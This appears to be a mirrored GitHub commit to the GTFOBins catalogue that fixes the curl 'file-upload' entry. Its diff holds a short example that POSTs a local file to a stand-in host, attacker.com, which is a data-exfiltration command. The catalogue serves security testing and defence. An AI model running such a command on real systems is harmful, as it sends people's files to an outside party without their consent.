1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Fix curl file-upload

Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
Victorio Scafati 2022-12-16 11:15:44 -03:00 committed by GitHub
parent 2eb95ad20d
commit 40a850064e
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

@ -5,7 +5,7 @@ functions:
code: | code: |
URL=http://attacker.com/ URL=http://attacker.com/
LFILE=file_to_send LFILE=file_to_send
curl -X POST -d @$file_to_send $URL curl -X POST -d "@$LFILE" $URL
file-download: file-download:
- description: Fetch a remote file via HTTP GET request. - description: Fetch a remote file via HTTP GET request.
code: | code: |